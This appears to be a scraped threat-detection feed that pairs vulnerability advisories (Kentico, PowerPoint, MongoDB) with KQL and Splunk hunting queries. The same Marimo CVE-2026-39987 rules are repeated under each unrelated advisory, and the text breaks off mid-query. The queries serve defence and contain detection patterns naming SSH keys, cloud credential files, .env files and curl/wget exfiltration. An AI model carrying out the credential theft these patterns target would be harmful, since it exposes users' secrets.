2026-01-124 use cases0 techniques3 kill-chain phases detected
Kentico Xperience contains a path traversal vulnerability that could allow an authenticated user's Staging Sync Server to upload arbitrary data to path relative locations. Vendor: Kentico, Product: Kentico Xperience. Federal patch due: 2026-05-04.
CVEsCVE-2025-2749
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-2749")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-2749")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
2026-01-074 use cases0 techniques3 kill-chain phases detected
Microsoft Office PowerPoint contains a code injection vulnerability that allows remote attackers to execute arbitrary code via a PowerPoint file with an OutlineTextRefAtom containing an invalid index value that triggers memory corruption. Vendor: Microsoft, Product: Office. Federal patch due: 2026-01-28.
CVEsCVE-2009-0556
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2009-0556")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2009-0556")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-37164")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-37164")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-294 use cases0 techniques3 kill-chain phases detected
MongoDB Server contains an improper handling of length parameter inconsistency vulnerability in Zlib compressed protocol headers. This vulnerability may allow a read of uninitialized heap memory by an unauthenticated client. Vendor: MongoDB, Product: MongoDB and MongoDB Server. Federal patch due: 2026-01-19.
CVEsCVE-2025-14847
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-14847")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-14847")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
